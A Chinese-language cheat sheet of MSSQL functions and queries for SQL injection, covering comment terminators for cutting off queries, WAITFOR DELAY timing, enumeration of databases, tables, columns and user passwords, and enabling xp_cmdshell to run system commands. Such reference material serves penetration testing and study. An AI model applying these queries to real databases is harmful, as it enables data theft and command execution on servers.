常用符号
注释符
| 注释符 | 释义 | | —- | —- |
|
-- -
+--+
| SQL注释风格
|
|
;%00
| 空字节
|
|
/*...*/
| C注释风格
|
运算符
| 运算符 | 释义 | | —- | —- |
| + | 加法运算 |
| - | 减法运算 |
| * | 乘法运算 |
| / | 除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去 |
| % | 取模运算,返回两数相除后的余数 |
| & | 位与逻辑运算 |
| | | 位或逻辑运算 |
| ^ | 位异或运算 |
| = | 等于 |
| <> != | 不等于 |
| < | 小于 |
| > | 大于 |
| !< | 不小于 |
| <= | 小于等于 |
| … | … |
全局变量
| 变量 | 释义 | | —- | —- |
| @VERSION | SQL Server 版本 |
| @SEVERNAME | 运行SQL Server 的本地服务器名称 |
常见函数
数据库信息
| 函数 | 释义 | | —- | —- |
|
DB_NAME()
DB_NAME(n)
| 获取当前数据库名,有n则获取其他数据库名,n为数字1、2、3…
|
|
USER_NAME()
USER
system_user
current_user
| 获取用户在数据库中的名字
|
|
is_srvrolemember(‘sysadmin’)
is_srvrolemember(‘db_owner’)
is_srvrolemember(‘public’)
| 判断当前用户权限
|
数据类型转换
| 函数 | 释义 | | —- | —- |
| ASCII(str) | 返回字符表达式最左端字符的ASCII 码值 |
| CHAR(str) | 将ASCII 码转换为字符 |
| cast(16 as VARBINARY(50)) | 将16转换为16进制 |
| CONVERT(VARBINARY(50),16) | 将16转换为16进制 |
| master.dbo.fn_varbintohexstr(16) | 将16转换为16进制 |
| STR(n) | 将数值型数据转为字符型数据 |
字符串操作函数
| 函数 | 释义 | | —- | —- |
|
SUBSTRING (<expression>, <starting_ position>, length)
| 返回从字符串左边第starting_position
个字符起切割length个字符
|
|
LEFT (<character_expression>, <integer_expression>)
| 返回character_expression
左起 integer_expression
个字符
|
|
RIGHT (<character_expression>, <integer_expression>)
| 返回character_expression
右起 integer_expression
个字符
|
|
QUOTENAME (<’character_expression’>[, quote_ character])
| 返回被特定字符括起来的字符串
|
|
REPLICATE (character_expression,integer_expression)
| 返回一个重复 character_expression
指定次数的字符串
|
|
REVERSE (<character_expression>)
| 将指定的字符串的字符排列顺序颠倒
|
|
REPLACE (<string_expression1>, <string_expression2>, <string_expression3>)
| 用string_expression3
替换在string_expression1
中的子串string_expression2
|
|
SPACE (<integer_expression>)
| 返回一个有指定长度的空白字符串
|
|
STUFF (<character_expression1>, <start_ position>, <length>,<character_expression2>)
| 用另一子串替换字符串指定位置、长度的子串
|
|
CHARINDEX (<'substring_expression'>, <expression>)
| 返回字符串中某个指定的子串出现的开始位置其中substring_expression
是所要查找的字符表达式,expression
可为字符串也可为列名表达式。如果没有发现子串,则返回0 值。 此函数不能用于TEXT 和IMAGE 数据类型。
|
|
PATINDEX (<’%substring _expression%’>, <column_ name>)
| 其中子串表达式前后必须有百分号“%”否则返回值为0。返回字符串中某个指定的子串出现的开始位置。与CHARINDEX 函数不同的是,PATINDEX函数的子串中可以使用通配符,且此函数可用于CHAR、 VARCHAR 和TEXT 数据类型。
|
字符串拼接
| 函数/语句 | 释义 | | —- | —- |
| CONCAT(text1, [text2],…) | 连接字符串函数,MSSQL 2012+ 支持 |
| CONCAT_WS ( separator, argument1, argument2 [, argumentN]… ) | 连接字符串函数,SQL Server 2017 (14.x) and later |
条件函数
| 函数/语句 | 释义 | | —- | —- |
| IF…ELSE… | 条件语句 |
| case when exp then state1 ELSE state2 end | 条件语句 |
延时函数
| 函数/语句 | 释义 | | —- | —- |
| WAITFOR DELAY ‘0:0:n’ | 延迟n s |
其他函数/语句
| 函数/语句 | 释义 | | —- | —- |
| LEN(str) | 计算字符串长度 |
| LOWER(str) | 将字符串的大写字母全部转成小写 |
| UPPER(str) | 将字符串的小写字母全部转成大写 |
| LTRIM() | 字符串头部的空格去掉 |
| RTRIM() | 把字符串尾部的空格去掉 |
常用语句
更多参考:https://bak.gm7.org/sqlwiki.netspi.com/attackQueries/informationGathering/index.html#sqlserver
| 说明 | 语句 | | —- | —- |
|
查看数据库权限
| select is_srvrolemember('sysadmin')
select is_srvrolemember('db_owner')
select is_srvrolemember('public')
|
|
获取系统相关信息
| — 获取版本select @@version;
— 获取用户名select user;
— 获取服务器主机名select @@servername;
— 获取所有用户select name from master..syslogins
|
|
获取数据库
| — 当前数据库select db_name();
— 其他数据库,n为number类型,1、2、3、4…select db_name(n);
— 其他数据库,修改后面dbid为 1 2 3 select name from master.dbo.sysdatabases where dbid=1
— 所有数据库select name from master..sysdatabases;
|
|
获取表
| select name from test..sysobjects where xtype = 'u'
— 第一张表select top 1 name from 库名.dbo.sysobjects where xtype='U'
— 第二张表select top 1 name from 库名.dbo.sysobjects where xtype='U' and name not in('第一张表')
— 第三张表select top 1 name from 库名.dbo.sysobjects where xtype='U' and name not in(‘第一张表’,’第二张表’)
— 或者
— 每个库都有information_schema,可以不用加test,也支持跨库查,需要注意这样查询出来使用视图的select table_name from test.information_schema.tables
— 从当前库获取表,去除视图select table_name from information_schema.tables where table_type not in ('view');
|
|
获取列
| select name from test..syscolumns where id = (select id from test..sysobjects where name = 'users')
— 或者select column_name from test.information_schema.columns where table_name = 'users';
— 或者,以下不支持跨库查询select top 1 col_name(object_id('users'),1) from sysobjects;
— i 为第几个字段,int型select top 1 col_name(object_id('users'),i) from sysobjects;
|
|
获取值
| select username, password from users;
|
|
查找存储过程
| select * from master..sysobjects where name like 'sp%' order by name desc
|
|
判断XP_CMDSHELL是否存在
| (select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
|
|
执行系统命令
| — 开启xp_cmdshell扩展存储过程use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
— 执行系统命令use master;
exec master..xp_cmdshell "whoami";
|